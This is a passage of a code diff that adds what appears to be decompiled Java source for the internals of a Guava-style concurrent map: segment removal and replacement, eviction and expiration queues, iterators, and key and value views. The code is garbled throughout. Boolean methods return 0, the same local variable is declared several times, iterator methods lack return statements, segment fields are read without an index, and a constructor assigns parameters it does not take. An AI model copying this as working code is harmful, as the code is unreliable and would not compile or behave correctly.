+          if (next == null) {
+            newTable.set(headIndex, head);
+
+          }
+          else
+          {
+            MapMakerInternalMap.ReferenceEntry<K, V> tail = head;
+            int tailIndex = headIndex;
+            for (MapMakerInternalMap.ReferenceEntry<K, V> e = next; e != null; e = e.getNext()) {
+              int newIndex = e.getHash() & newMask;
+              if (newIndex != tailIndex)
+              {
+                tailIndex = newIndex;
+                tail = e;
+              }
+            }
+            newTable.set(tailIndex, tail);
+            
+
+            for (MapMakerInternalMap.ReferenceEntry<K, V> e = head; e != tail; e = e.getNext()) {
+              int newIndex = e.getHash() & newMask;
+              MapMakerInternalMap.ReferenceEntry<K, V> newNext = (MapMakerInternalMap.ReferenceEntry)newTable.get(newIndex);
+              MapMakerInternalMap.ReferenceEntry<K, V> newFirst = copyEntry(e, newNext);
+              if (newFirst != null) {
+                newTable.set(newIndex, newFirst);
+              } else {
+                removeCollectedEntry(e);
+                newCount--;
+              }
+            }
+          }
+        }
+      }
+      table = newTable;
+      count = newCount;
+    }
+    
+    boolean replace(K key, int hash, V oldValue, V newValue) {
+      lock();
+      try {
+        preWriteCleanup();
+        
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+
+
+            MapMakerInternalMap.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            int newCount; if (entryValue == null) {
+              if (isCollected(valueReference)) {
+                newCount = count - 1;
+                modCount += 1;
+                enqueueNotification(entryKey, hash, entryValue, MapMaker.RemovalCause.COLLECTED);
+                MapMakerInternalMap.ReferenceEntry<K, V> newFirst = removeFromChain(first, e);
+                newCount = count - 1;
+                table.set(index, newFirst);
+                count = newCount;
+              }
+              return 0;
+            }
+            
+            if (map.valueEquivalence.equivalent(oldValue, entryValue)) {
+              modCount += 1;
+              enqueueNotification(key, hash, entryValue, MapMaker.RemovalCause.REPLACED);
+              setValue(e, newValue);
+              return 1;
+            }
+            
+
+            recordLockedRead(e);
+            return 0;
+          }
+        }
+        
+
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    V replace(K key, int hash, V newValue) {
+      lock();
+      try {
+        preWriteCleanup();
+        
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+
+
+            MapMakerInternalMap.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            int newCount; if (entryValue == null) {
+              if (isCollected(valueReference)) {
+                newCount = count - 1;
+                modCount += 1;
+                enqueueNotification(entryKey, hash, entryValue, MapMaker.RemovalCause.COLLECTED);
+                MapMakerInternalMap.ReferenceEntry<K, V> newFirst = removeFromChain(first, e);
+                newCount = count - 1;
+                table.set(index, newFirst);
+                count = newCount;
+              }
+              return null;
+            }
+            
+            modCount += 1;
+            enqueueNotification(key, hash, entryValue, MapMaker.RemovalCause.REPLACED);
+            setValue(e, newValue);
+            return entryValue;
+          }
+        }
+        
+        return null;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    V remove(Object key, int hash) {
+      lock();
+      try {
+        preWriteCleanup();
+        
+        int newCount = count - 1;
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            MapMakerInternalMap.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            
+            MapMaker.RemovalCause cause;
+            if (entryValue != null) {
+              cause = MapMaker.RemovalCause.EXPLICIT; } else { MapMaker.RemovalCause cause;
+              if (isCollected(valueReference)) {
+                cause = MapMaker.RemovalCause.COLLECTED;
+              } else
+                return null;
+            }
+            MapMaker.RemovalCause cause;
+            modCount += 1;
+            enqueueNotification(entryKey, hash, entryValue, cause);
+            Object newFirst = removeFromChain(first, e);
+            newCount = count - 1;
+            table.set(index, newFirst);
+            count = newCount;
+            return entryValue;
+          }
+        }
+        
+        return null;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    boolean remove(Object key, int hash, Object value) {
+      lock();
+      try {
+        preWriteCleanup();
+        
+        int newCount = count - 1;
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            MapMakerInternalMap.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            
+            MapMaker.RemovalCause cause;
+            if (map.valueEquivalence.equivalent(value, entryValue)) {
+              cause = MapMaker.RemovalCause.EXPLICIT; } else { MapMaker.RemovalCause cause;
+              if (isCollected(valueReference)) {
+                cause = MapMaker.RemovalCause.COLLECTED;
+              } else
+                return false;
+            }
+            MapMaker.RemovalCause cause;
+            modCount += 1;
+            enqueueNotification(entryKey, hash, entryValue, cause);
+            Object newFirst = removeFromChain(first, e);
+            newCount = count - 1;
+            table.set(index, newFirst);
+            count = newCount;
+            return cause == MapMaker.RemovalCause.EXPLICIT;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    void clear() {
+      if (count != 0) {
+        lock();
+        try {
+          AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+          if (map.removalNotificationQueue != MapMakerInternalMap.DISCARDING_QUEUE) {
+            for (int i = 0; i < table.length(); i++) {
+              for (MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)table.get(i); e != null; e = e.getNext())
+              {
+                if (!e.getValueReference().isComputingReference()) {
+                  enqueueNotification(e, MapMaker.RemovalCause.EXPLICIT);
+                }
+              }
+            }
+          }
+          for (int i = 0; i < table.length(); i++) {
+            table.set(i, null);
+          }
+          clearReferenceQueues();
+          evictionQueue.clear();
+          expirationQueue.clear();
+          readCount.set(0);
+          
+          modCount += 1;
+          count = 0;
+        } finally {
+          unlock();
+          postWriteCleanup();
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> removeFromChain(MapMakerInternalMap.ReferenceEntry<K, V> first, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      evictionQueue.remove(entry);
+      expirationQueue.remove(entry);
+      
+      int newCount = count;
+      MapMakerInternalMap.ReferenceEntry<K, V> newFirst = entry.getNext();
+      for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != entry; e = e.getNext()) {
+        MapMakerInternalMap.ReferenceEntry<K, V> next = copyEntry(e, newFirst);
+        if (next != null) {
+          newFirst = next;
+        } else {
+          removeCollectedEntry(e);
+          newCount--;
+        }
+      }
+      count = newCount;
+      return newFirst;
+    }
+    
+    void removeCollectedEntry(MapMakerInternalMap.ReferenceEntry<K, V> entry) {
+      enqueueNotification(entry, MapMaker.RemovalCause.COLLECTED);
+      evictionQueue.remove(entry);
+      expirationQueue.remove(entry);
+    }
+    
+
+
+    boolean reclaimKey(MapMakerInternalMap.ReferenceEntry<K, V> entry, int hash)
+    {
+      lock();
+      try {
+        int newCount = count - 1;
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          if (e == entry) {
+            modCount += 1;
+            enqueueNotification(e.getKey(), hash, e.getValueReference().get(), MapMaker.RemovalCause.COLLECTED);
+            
+            MapMakerInternalMap.ReferenceEntry<K, V> newFirst = removeFromChain(first, e);
+            newCount = count - 1;
+            table.set(index, newFirst);
+            count = newCount;
+            return true;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+
+
+    boolean reclaimValue(K key, int hash, MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      lock();
+      try {
+        int newCount = count - 1;
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            MapMakerInternalMap.ValueReference<K, V> v = e.getValueReference();
+            MapMakerInternalMap.ReferenceEntry<K, V> newFirst; if (v == valueReference) {
+              modCount += 1;
+              enqueueNotification(key, hash, valueReference.get(), MapMaker.RemovalCause.COLLECTED);
+              newFirst = removeFromChain(first, e);
+              newCount = count - 1;
+              table.set(index, newFirst);
+              count = newCount;
+              return true;
+            }
+            return 0;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        if (!isHeldByCurrentThread()) {
+          postWriteCleanup();
+        }
+      }
+    }
+    
+
+
+    boolean clearValue(K key, int hash, MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      lock();
+      try {
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            MapMakerInternalMap.ValueReference<K, V> v = e.getValueReference();
+            MapMakerInternalMap.ReferenceEntry<K, V> newFirst; if (v == valueReference) {
+              newFirst = removeFromChain(first, e);
+              table.set(index, newFirst);
+              return true;
+            }
+            return 0;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    @GuardedBy("Segment.this")
+    boolean removeEntry(MapMakerInternalMap.ReferenceEntry<K, V> entry, int hash, MapMaker.RemovalCause cause) {
+      int newCount = count - 1;
+      AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+      int index = hash & table.length() - 1;
+      MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+      
+      for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+        if (e == entry) {
+          modCount += 1;
+          enqueueNotification(e.getKey(), hash, e.getValueReference().get(), cause);
+          MapMakerInternalMap.ReferenceEntry<K, V> newFirst = removeFromChain(first, e);
+          newCount = count - 1;
+          table.set(index, newFirst);
+          count = newCount;
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+
+
+    boolean isCollected(MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      if (valueReference.isComputingReference()) {
+        return false;
+      }
+      return valueReference.get() == null;
+    }
+    
+
+
+
+    V getLiveValue(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      if (entry.getKey() == null) {
+        tryDrainReferenceQueues();
+        return null;
+      }
+      V value = entry.getValueReference().get();
+      if (value == null) {
+        tryDrainReferenceQueues();
+        return null;
+      }
+      
+      if ((map.expires()) && (map.isExpired(entry))) {
+        tryExpireEntries();
+        return null;
+      }
+      return value;
+    }
+    
+
+
+
+
+    void postReadCleanup()
+    {
+      if ((readCount.incrementAndGet() & 0x3F) == 0) {
+        runCleanup();
+      }
+    }
+    
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    void preWriteCleanup()
+    {
+      runLockedCleanup();
+    }
+    
+
+
+    void postWriteCleanup()
+    {
+      runUnlockedCleanup();
+    }
+    
+    void runCleanup() {
+      runLockedCleanup();
+      runUnlockedCleanup();
+    }
+    
+    void runLockedCleanup() {
+      if (tryLock()) {
+        try {
+          drainReferenceQueues();
+          expireEntries();
+          readCount.set(0);
+        } finally {
+          unlock();
+        }
+      }
+    }
+    
+    void runUnlockedCleanup()
+    {
+      if (!isHeldByCurrentThread()) {
+        map.processPendingNotifications();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static final class EvictionQueue<K, V>
+    extends AbstractQueue<MapMakerInternalMap.ReferenceEntry<K, V>>
+  {
+    final MapMakerInternalMap.ReferenceEntry<K, V> head = new MapMakerInternalMap.AbstractReferenceEntry()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = this;
+      
+      public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+      {
+        return nextEvictable;
+      }
+      
+      public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+      {
+        nextEvictable = next;
+      }
+      
+      MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = this;
+      
+      public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+      {
+        return previousEvictable;
+      }
+      
+      public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+      {
+        previousEvictable = previous;
+      }
+    };
+    
+
+    EvictionQueue() {}
+    
+    public boolean offer(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      MapMakerInternalMap.connectEvictables(entry.getPreviousEvictable(), entry.getNextEvictable());
+      
+
+      MapMakerInternalMap.connectEvictables(head.getPreviousEvictable(), entry);
+      MapMakerInternalMap.connectEvictables(entry, head);
+      
+      return true;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> peek()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> next = head.getNextEvictable();
+      return next == head ? null : next;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> poll()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> next = head.getNextEvictable();
+      if (next == head) {
+        return null;
+      }
+      
+      remove(next);
+      return next;
+    }
+    
+
+    public boolean remove(Object o)
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)o;
+      MapMakerInternalMap.ReferenceEntry<K, V> previous = e.getPreviousEvictable();
+      MapMakerInternalMap.ReferenceEntry<K, V> next = e.getNextEvictable();
+      MapMakerInternalMap.connectEvictables(previous, next);
+      MapMakerInternalMap.nullifyEvictable(e);
+      
+      return next != MapMakerInternalMap.NullEntry.INSTANCE;
+    }
+    
+
+    public boolean contains(Object o)
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)o;
+      return e.getNextEvictable() != MapMakerInternalMap.NullEntry.INSTANCE;
+    }
+    
+    public boolean isEmpty()
+    {
+      return head.getNextEvictable() == head;
+    }
+    
+    public int size()
+    {
+      int size = 0;
+      for (MapMakerInternalMap.ReferenceEntry<K, V> e = head.getNextEvictable(); e != head; e = e.getNextEvictable()) {
+        size++;
+      }
+      return size;
+    }
+    
+    public void clear()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = head.getNextEvictable();
+      while (e != head) {
+        MapMakerInternalMap.ReferenceEntry<K, V> next = e.getNextEvictable();
+        MapMakerInternalMap.nullifyEvictable(e);
+        e = next;
+      }
+      
+      head.setNextEvictable(head);
+      head.setPreviousEvictable(head);
+    }
+    
+    public Iterator<MapMakerInternalMap.ReferenceEntry<K, V>> iterator()
+    {
+      new AbstractSequentialIterator(peek())
+      {
+        protected MapMakerInternalMap.ReferenceEntry<K, V> computeNext(MapMakerInternalMap.ReferenceEntry<K, V> previous) {
+          MapMakerInternalMap.ReferenceEntry<K, V> next = previous.getNextEvictable();
+          return next == head ? null : next;
+        }
+      };
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  static final class ExpirationQueue<K, V>
+    extends AbstractQueue<MapMakerInternalMap.ReferenceEntry<K, V>>
+  {
+    final MapMakerInternalMap.ReferenceEntry<K, V> head = new MapMakerInternalMap.AbstractReferenceEntry()
+    {
+      public long getExpirationTime()
+      {
+        return Long.MAX_VALUE;
+      }
+      
+
+
+
+      MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = this;
+      
+      public void setExpirationTime(long time) {}
+      
+      public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable() { return nextExpirable; }
+      
+
+      public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+      {
+        nextExpirable = next;
+      }
+      
+      MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = this;
+      
+      public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+      {
+        return previousExpirable;
+      }
+      
+      public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+      {
+        previousExpirable = previous;
+      }
+    };
+    
+
+    ExpirationQueue() {}
+    
+    public boolean offer(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      MapMakerInternalMap.connectExpirables(entry.getPreviousExpirable(), entry.getNextExpirable());
+      
+
+      MapMakerInternalMap.connectExpirables(head.getPreviousExpirable(), entry);
+      MapMakerInternalMap.connectExpirables(entry, head);
+      
+      return true;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> peek()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> next = head.getNextExpirable();
+      return next == head ? null : next;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> poll()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> next = head.getNextExpirable();
+      if (next == head) {
+        return null;
+      }
+      
+      remove(next);
+      return next;
+    }
+    
+
+    public boolean remove(Object o)
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)o;
+      MapMakerInternalMap.ReferenceEntry<K, V> previous = e.getPreviousExpirable();
+      MapMakerInternalMap.ReferenceEntry<K, V> next = e.getNextExpirable();
+      MapMakerInternalMap.connectExpirables(previous, next);
+      MapMakerInternalMap.nullifyExpirable(e);
+      
+      return next != MapMakerInternalMap.NullEntry.INSTANCE;
+    }
+    
+
+    public boolean contains(Object o)
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)o;
+      return e.getNextExpirable() != MapMakerInternalMap.NullEntry.INSTANCE;
+    }
+    
+    public boolean isEmpty()
+    {
+      return head.getNextExpirable() == head;
+    }
+    
+    public int size()
+    {
+      int size = 0;
+      for (MapMakerInternalMap.ReferenceEntry<K, V> e = head.getNextExpirable(); e != head; e = e.getNextExpirable()) {
+        size++;
+      }
+      return size;
+    }
+    
+    public void clear()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = head.getNextExpirable();
+      while (e != head) {
+        MapMakerInternalMap.ReferenceEntry<K, V> next = e.getNextExpirable();
+        MapMakerInternalMap.nullifyExpirable(e);
+        e = next;
+      }
+      
+      head.setNextExpirable(head);
+      head.setPreviousExpirable(head);
+    }
+    
+    public Iterator<MapMakerInternalMap.ReferenceEntry<K, V>> iterator()
+    {
+      new AbstractSequentialIterator(peek())
+      {
+        protected MapMakerInternalMap.ReferenceEntry<K, V> computeNext(MapMakerInternalMap.ReferenceEntry<K, V> previous) {
+          MapMakerInternalMap.ReferenceEntry<K, V> next = previous.getNextExpirable();
+          return next == head ? null : next;
+        }
+      };
+    }
+  }
+  
+  static final class CleanupMapTask implements Runnable {
+    final WeakReference<MapMakerInternalMap<?, ?>> mapReference;
+    
+    public CleanupMapTask(MapMakerInternalMap<?, ?> map) {
+      mapReference = new WeakReference(map);
+    }
+    
+    public void run()
+    {
+      MapMakerInternalMap<?, ?> map = (MapMakerInternalMap)mapReference.get();
+      if (map == null) {
+        throw new CancellationException();
+      }
+      
+      for (MapMakerInternalMap.Segment<?, ?> segment : segments) {
+        segment.runCleanup();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    long sum = 0L;
+    Segment<K, V>[] segments = this.segments;
+    for (int i = 0; i < segments.length; i++) {
+      if (count != 0) {
+        return false;
+      }
+      sum += modCount;
+    }
+    
+    if (sum != 0L) {
+      for (int i = 0; i < segments.length; i++) {
+        if (count != 0) {
+          return false;
+        }
+        sum -= modCount;
+      }
+      if (sum != 0L) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public int size()
+  {
+    Segment<K, V>[] segments = this.segments;
+    long sum = 0L;
+    for (int i = 0; i < segments.length; i++) {
+      sum += count;
+    }
+    return Ints.saturatedCast(sum);
+  }
+  
+  public V get(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).get(key, hash);
+  }
+  
+
+
+
+  ReferenceEntry<K, V> getEntry(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).getEntry(key, hash);
+  }
+  
+  public boolean containsKey(@Nullable Object key)
+  {
+    if (key == null) {
+      return false;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).containsKey(key, hash);
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    if (value == null) {
+      return false;
+    }
+    
+
+
+
+
+
+    Segment<K, V>[] segments = this.segments;
+    long last = -1L;
+    for (int i = 0; i < 3; i++) {
+      long sum = 0L;
+      for (Segment<K, V> segment : segments)
+      {
+
+        int c = count;
+        
+        AtomicReferenceArray<ReferenceEntry<K, V>> table = table;
+        for (int j = 0; j < table.length(); j++) {
+          for (ReferenceEntry<K, V> e = (ReferenceEntry)table.get(j); e != null; e = e.getNext()) {
+            V v = segment.getLiveValue(e);
+            if ((v != null) && (valueEquivalence.equivalent(value, v))) {
+              return true;
+            }
+          }
+        }
+        sum += modCount;
+      }
+      if (sum == last) {
+        break;
+      }
+      last = sum;
+    }
+    return false;
+  }
+  
+  public V put(K key, V value)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(value);
+    int hash = hash(key);
+    return segmentFor(hash).put(key, hash, value, false);
+  }
+  
+  public V putIfAbsent(K key, V value)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(value);
+    int hash = hash(key);
+    return segmentFor(hash).put(key, hash, value, true);
+  }
+  
+  public void putAll(Map<? extends K, ? extends V> m)
+  {
+    for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) {
+      put(e.getKey(), e.getValue());
+    }
+  }
+  
+  public V remove(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).remove(key, hash);
+  }
+  
+  public boolean remove(@Nullable Object key, @Nullable Object value)
+  {
+    if ((key == null) || (value == null)) {
+      return false;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).remove(key, hash, value);
+  }
+  
+  public boolean replace(K key, @Nullable V oldValue, V newValue)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(newValue);
+    if (oldValue == null) {
+      return false;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).replace(key, hash, oldValue, newValue);
+  }
+  
+  public V replace(K key, V value)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(value);
+    int hash = hash(key);
+    return segmentFor(hash).replace(key, hash, value);
+  }
+  
+  public void clear()
+  {
+    for (Segment<K, V> segment : segments) {
+      segment.clear();
+    }
+  }
+  
+
+
+  public Set<K> keySet()
+  {
+    Set<K> ks = keySet;
+    return this.keySet = new KeySet();
+  }
+  
+
+
+  public Collection<V> values()
+  {
+    Collection<V> vs = values;
+    return this.values = new Values();
+  }
+  
+
+
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    Set<Map.Entry<K, V>> es = entrySet;
+    return this.entrySet = new EntrySet();
+  }
+  
+  abstract class HashIterator<E>
+    implements Iterator<E>
+  {
+    int nextSegmentIndex;
+    int nextTableIndex;
+    MapMakerInternalMap.Segment<K, V> currentSegment;
+    AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> currentTable;
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEntry;
+    MapMakerInternalMap<K, V>.WriteThroughEntry nextExternal;
+    MapMakerInternalMap<K, V>.WriteThroughEntry lastReturned;
+    
+    HashIterator()
+    {
+      nextSegmentIndex = (segments.length - 1);
+      nextTableIndex = -1;
+      advance();
+    }
+    
+    public abstract E next();
+    
+    final void advance()
+    {
+      nextExternal = null;
+      
+      if (nextInChain()) {
+        return;
+      }
+      
+      if (nextInTable()) {
+        return;
+      }
+      
+      while (nextSegmentIndex >= 0) {
+        currentSegment = segments[(nextSegmentIndex--)];
+        if (currentSegment.count != 0) {
+          currentTable = currentSegment.table;
+          nextTableIndex = (currentTable.length() - 1);
+          if (nextInTable()) {}
+        }
+      }
+    }
+    
+
+
+
+
+    boolean nextInChain()
+    {
+      if (nextEntry != null) {
+        for (nextEntry = nextEntry.getNext(); nextEntry != null; nextEntry = nextEntry.getNext()) {
+          if (advanceTo(nextEntry)) {
+            return true;
+          }
+        }
+      }
+      return false;
+    }
+    
+
+
+    boolean nextInTable()
+    {
+      while (nextTableIndex >= 0) {
+        if (((this.nextEntry = (MapMakerInternalMap.ReferenceEntry)currentTable.get(nextTableIndex--)) != null) && (
+          (advanceTo(nextEntry)) || (nextInChain()))) {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+
+    boolean advanceTo(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      try
+      {
+        K key = entry.getKey();
+        V value = getLiveValue(entry);
+        boolean bool; if (value != null) {
+          nextExternal = new MapMakerInternalMap.WriteThroughEntry(MapMakerInternalMap.this, key, value);
+          return true;
+        }
+        
+        return false;
+      }
+      finally {
+        currentSegment.postReadCleanup();
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      return nextExternal != null;
+    }
+    
+    MapMakerInternalMap<K, V>.WriteThroughEntry nextEntry() {
+      if (nextExternal == null) {
+        throw new NoSuchElementException();
+      }
+      lastReturned = nextExternal;
+      advance();
+      return lastReturned;
+    }
+    
+    public void remove()
+    {
+      CollectPreconditions.checkRemove(lastReturned != null);
+      remove(lastReturned.getKey());
+      lastReturned = null;
+    }
+  }
+  
+  final class KeyIterator extends MapMakerInternalMap<K, V>.HashIterator<K> { KeyIterator() { super(); }
+    
+
+
+    public K next() { return nextEntry().getKey(); }
+  }
+  
+  final class ValueIterator extends MapMakerInternalMap<K, V>.HashIterator<V> {
+    ValueIterator() { super(); }
+    
+    public V next()
+    {
+      return nextEntry().getValue();
+    }
+  }
+  
+
+  final class WriteThroughEntry
+    extends AbstractMapEntry<K, V>
+  {
+    final K key;
+    V value;
+    
+    WriteThroughEntry(V key)
+    {
+      this.key = key;
+      this.value = value;
+    }
+    
+    public K getKey()
+    {
+      return key;
+    }
+    
+    public V getValue()
+    {
+      return value;
+    }
+    
+
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof Map.Entry)) {
+        Map.Entry<?, ?> that = (Map.Entry)object;
+        return (key.equals(that.getKey())) && (value.equals(that.getValue()));
+      }
+      return false;
+    }
+    
+
+    public int hashCode()
+    {
+      return key.hashCode() ^ value.hashCode();
+    }
+    
+    public V setValue(V newValue)
+    {
+      V oldValue = put(key, newValue);
+      value = newValue;
+      return oldValue;
+    }
+  }
+  
+  final class EntryIterator extends MapMakerInternalMap<K, V>.HashIterator<Map.Entry<K, V>> { EntryIterator() { super(); }
+    
+    public Map.Entry<K, V> next()
+    {
+      return nextEntry();
+    }
+  }
+  
+  final class KeySet extends AbstractSet<K> {
+    KeySet() {}
+    
+    public Iterator<K> iterator() {
+      return new MapMakerInternalMap.KeyIterator(MapMakerInternalMap.this);
+    }
+    
+    public int size()
+    {
+      return MapMakerInternalMap.this.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return MapMakerInternalMap.this.isEmpty();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return containsKey(o);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return remove(o) != null;
+    }
+    
+    public void clear()
+    {
+      MapMakerInternalMap.this.clear();
+    }
+  }
+  
+  final class Values extends AbstractCollection<V> {
+    Values() {}
+    
+    public Iterator<V> iterator() {
+      return new MapMakerInternalMap.ValueIterator(MapMakerInternalMap.this);
+    }
+    
+    public int size()
+    {
+      return MapMakerInternalMap.this.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return MapMakerInternalMap.this.isEmpty();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return containsValue(o);
+    }
+    
